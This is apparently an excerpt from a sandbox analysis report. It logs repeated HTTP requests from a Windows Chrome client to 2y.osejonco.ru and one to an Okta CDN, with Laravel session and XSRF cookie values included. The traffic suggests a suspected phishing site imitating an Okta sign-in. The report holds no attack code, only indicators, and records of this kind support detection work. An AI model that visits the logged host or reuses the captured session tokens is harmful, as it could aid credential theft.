laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxbNKRcHVCXKWWRT7M8NqnmjopxHCiJhJtlMUAvB5CdgkudYxaejab180 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ij36edXDIVEZ1IkFpjlRArGXnqtVKT3mgw89eXKrMQwV4y50SCzXCSTtuUab230 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yrYUoo74f9fWrLBIcyK5uxWwgdKJhOGH5YbaKKrgLiygb HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op3KLTBhTbgEdCmZ7JNfQl1y5GU9xYTcRTmbZnkfmeghZFCJqrbSs4oznfvPk9nef200 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghAgM8pQbgeY39sLvNM3QdVigIfxyUyJ4T3dbGJ3vdGJjth12210 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klwx5cFAcAqfdQp3WkgEUThdmWiDzDn2GiJCqq56jRSXRX1N2xd7gfxEFlIp3lwgSsJmwx220 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opgiTdFktHPmjU81RG6ZQtrrPTiXYgG1ANhYfqGSoYrDXCPuvVWhHPaNO5NSWrUNwkVj3bukcd240 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv1sT1CTjzraD3Hdexj7YzMEz5uSMAJ0QDNwA8KcfGmnpiyBZ2tEqbSAdyBffIfzef260 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijL2Jyg9U2Cta71dIExzqwsr3Hbd0phobxjMcdIdbCejuCF17A6XlDgWoruHXGZM78170 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxbNKRcHVCXKWWRT7M8NqnmjopxHCiJhJtlMUAvB5CdgkudYxaejab180 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op3KLTBhTbgEdCmZ7JNfQl1y5GU9xYTcRTmbZnkfmeghZFCJqrbSs4oznfvPk9nef200 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opgiTdFktHPmjU81RG6ZQtrrPTiXYgG1ANhYfqGSoYrDXCPuvVWhHPaNO5NSWrUNwkVj3bukcd240 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghAgM8pQbgeY39sLvNM3QdVigIfxyUyJ4T3dbGJ3vdGJjth12210 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv1sT1CTjzraD3Hdexj7YzMEz5uSMAJ0QDNwA8KcfGmnpiyBZ2tEqbSAdyBffIfzef260 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikg0MExaQW1McDgvQzJ4dUUzdVZrWVE9PSIsInZhbHVlIjoiT3E0bFlOZ1BGSEQrUW1kaCtiK1hKMEFILytvRGV1R2tlVWREei9oUlUxLzJCTkY1MmltSEVXb1pLSHVVZzBkck55cUwyQUt0MVY3RGJQOStLUW5WY2o0aXkxS1dFOWlzd1JwdnBJNXZoam51RTh1WmtRZGxWdVJYQ0Y1bENlZnUiLCJtYWMiOiJkODEzODYyMGQxMzhkNjE4N2RkNjBlZmJiMmRiNjgwMzkxZTRhMWViM2YzN2I2OTg1OTk2YjM5ZDg2NDUyMDY3IiwidGFnIjoiIn0%3D; 